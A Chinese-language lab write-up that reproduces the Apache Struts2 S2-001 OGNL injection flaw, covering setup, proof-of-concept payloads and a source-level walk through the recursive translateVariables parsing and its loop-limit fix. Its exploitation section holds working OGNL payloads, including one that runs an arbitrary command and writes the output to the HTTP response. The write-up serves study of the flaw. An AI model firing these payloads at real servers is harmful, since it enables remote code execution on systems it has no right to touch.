S2-001漏洞复现
前言
最近在学习渗透测试的时候,看到大佬分析了Struts2的漏洞,为了更好的理解漏洞原理,对Struts2漏洞做一次复现。
漏洞信息
Struts2 是流行和成熟的基于 MVC 设计模式的 Web 应用程序框架。 Struts2 不只是 Struts1 下一个版本,它是一个完全重写的 Struts 架构。Struts2 的标签中使用的是OGNL表达式,OGNL 是 Object Graphic Navigation Language(对象图导航语言)的缩写,它是一种功能强大的表达式语言,使用它可以存取对象的任意属性,调用对象的方法,使用 OGNL 表达式的主要作用是简化访问对象中的属性值,但Struts2漏洞就源于OGNL。漏洞信息可见https://cwiki.apache.org/confluence/display/WW/S2-001
搭建环境
需要的列表:
- jdk1.8
- Tomcat
- Struts2
- IDEA
jdk1.8、Tomcat和IDEA的安装网上都有,按照步骤进行配置,比较难的可能是IDEA配置Tomcat的时候,可以参考IDEA的下载安装及配置Tomcat。在vulhub下载Struts2包,导入即可。
漏洞利用
- 简单的poc:
%{1+1}
- 弹出计算器
%{(new java.lang.ProcessBuilder(new java.lang.String[]{"calc.exe"})).start()}
- 任意命令执行:
%{#a=(new java.lang.ProcessBuilder(new java.lang.String[]{"pwd"})).redirectErrorStream(true).start(),#b=#a.getInputStream(),#c=new java.io.InputStreamReader(#b),#d=new java.io.BufferedReader(#c),#e=new char[50000],#d.read(#e),#f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"),#f.getWriter().println(new java.lang.String(#e)),#f.getWriter().flush(),#f.getWriter().close()}
- 其中"pwd"可以换成对应的命令,即可执行。
漏洞分析
当一个 HTTP 请求被 Struts2 处理时,会经过一系列的 拦截器 (Interceptor) ,这些拦截器可以是 Struts2 自带的,也可以是用户自定义的。例如下图 struts.xml 中的 package 继承自 struts-default ,而 struts-default 就使用了 Struts2 自带的拦截器。
在拦截器栈 defaultStack 中,我们需要关注 params 这个拦截器。
跟进到 /com/opensymphony/xwork2/interceptor/ParametersInterceptor.class
的setParameters->stack.setValue->invocation.invoke
可以看到,params 拦截器会将客户端请求数据设置到值栈 (valueStack) 中,后续 JSP 页面中所有的动态数据都将从值栈中取出。
继续跟进,到达/com/opensymphony/xwork2/DefaultActionInvocation.class
跟进executeResult()
,到达 /com/opensymphony/xwork2/DefaultActionInvocation.class
跟进result.execute(this)
,到达/org/apache/struts2/dispatcher/StrutsResultSupport.class
跟进doExecute()
到达/org/apache/struts2/dispatcher/ServletDispatcherResult.class
执行dispatcher.forward(request, response);
后转到jsp,并交给jsp解析处理。进入/org/apache/struts2/views/jsp/ComponentTagSupport.class
解析strutes2中自定义的标签。
在/org/apache/struts2/views/jsp/ComponentTagSupport.class
中使用doEndTag()
和doStartTag()
在jsp中自定义需要用到的新标签,跟进this.component.end();
到达/org/apache/struts2/components/UIBean.class
这里evaluateParams
主要初始化全局变量。跟入evaluateParams
,在303左右,expr = "%{" + name + "}"
表示expr拼接为一个%{name}
跟入addParameter("nameValue", findValue(expr, valueClazz));
中的findValue
,来到 /org/apache/struts2/components/Component.class
跟入TextParseUtil.translateVariables
,进入/com/opensymphony/xwork2/util/TextParseUtil.class
:
public static String translateVariables(char open, String expression, ValueStack stack) {
return translateVariables(open, expression, stack, String.class, (TextParseUtil.ParsedValueEvaluator)null).toString();
}
继续跟入translateVariables
,主要问题就在translateVariables
这个函数里,源码如下:
public static Object translateVariables(char open, String expression, ValueStack stack, Class asType, TextParseUtil.ParsedValueEvaluator evaluator) {
Object result = expression;
while(true) {
int start = expression.indexOf(open + "{");
int length = expression.length();
int x = start + 2;
int count = 1;
while(start != -1 && x < length && count != 0) {
char c = expression.charAt(x++);
if (c == '{') {
++count;
} else if (c == '}') {
--count;
}
}
int end = x - 1;
if (start == -1 || end == -1 || count != 0) {
return XWorkConverter.getInstance().convertValue(stack.getContext(), result, asType);
}
String var = expression.substring(start + 2, end);
Object o = stack.findValue(var, asType);
if (evaluator != null) {
o = evaluator.evaluate(o);
}
String left = expression.substring(0, start);
String right = expression.substring(end + 1);
if (o != null) {
if (TextUtils.stringSet(left)) {
result = left + o;
} else {
result = o;
}
if (TextUtils.stringSet(right)) {
result = result + right;
}
expression = left + o + right;
} else {
result = left + right;
expression = left + right;
}
}
}
此时expression
为%{password}
第一次执行的时候 会取出%{username}
的值,即%{1+1}
通过if ((start != -1) && (end != -1) && (count == 0))
的判断,跳过return
,到达:
通过Object o = stack.findValue(var, asType);
把值赋给 o,此后 o 为%{1+1}
,再对o进行了一番处理后,payload 经过 result 变量,最终成为expression的值:
在完成后,进入下一个循环,第二次循环在Object o = stack.findValue(var, asType);
中会执行我们构造的OGNL表达式,即对payload的执行。
究其原因,漏洞的成因在于 translateVariables ,translateVariables 递归解析了表达式,在处理完%{password}
后将password
的值直接取出并继续在while循环中解析,若用户输入的password是恶意的OGNL表达式,比如%{1+1}
,则得以解析执行。根据华电许少的说法:
-
JSP中的struts2标签的password字段在解析时会变成%
-
输入的参数被解析为%{%{payload}}
-
错误地多次循环将payload认为是合理的OGNL语句
-
OGNL利用Java反射的特性执行了payload(反射就是在运行时才知道要操作的类是什么,并且可以在运行时获取类的完整构造,并调用对应的方法)
漏洞修复
public static Object translateVariables(char open, String expression, ValueStack stack, Class asType, TextParseUtil.ParsedValueEvaluator evaluator, int maxLoopCount) {
Object result = expression;
while(true) {
int start = expression.indexOf(open + "{");
int length = expression.length();
int x = start + 2;
int count = 1;
while(start != -1 && x < length && count != 0) {
char c = expression.charAt(x++);
if (c == '{') {
++count;
} else if (c == '}') {
--count;
}
}
if (loopCount > maxLoopCount) {
// translateVariables prevent infinite loop / expression recursive evaluation
break;
}
int end = x - 1;
if (start == -1 || end == -1 || count != 0) {
return XWorkConverter.getInstance().convertValue(stack.getContext(), result, asType);
}
String var = expression.substring(start + 2, end);
Object o = stack.findValue(var, asType);
if (evaluator != null) {
o = evaluator.evaluate(o);
}
String left = expression.substring(0, start);
String right = expression.substring(end + 1);
if (o != null) {
if (TextUtils.stringSet(left)) {
result = left + o;
} else {
result = o;
}
if (TextUtils.stringSet(right)) {
result = result + right;
}
expression = left + o + right;
} else {
result = left + right;
expression = left + right;
}
}
}
这里增加了对OGNL递归解析次数的判断,当解析完一层表达式后,如图,此时loopCount > maxLoopCount
,从而执行break
,不再继续解析%{1+1}
,默认情况下只会解析第一层:
if (loopCount > maxLoopCount) {
// translateVariables prevent infinite loop / expression recursive evaluation
break;
}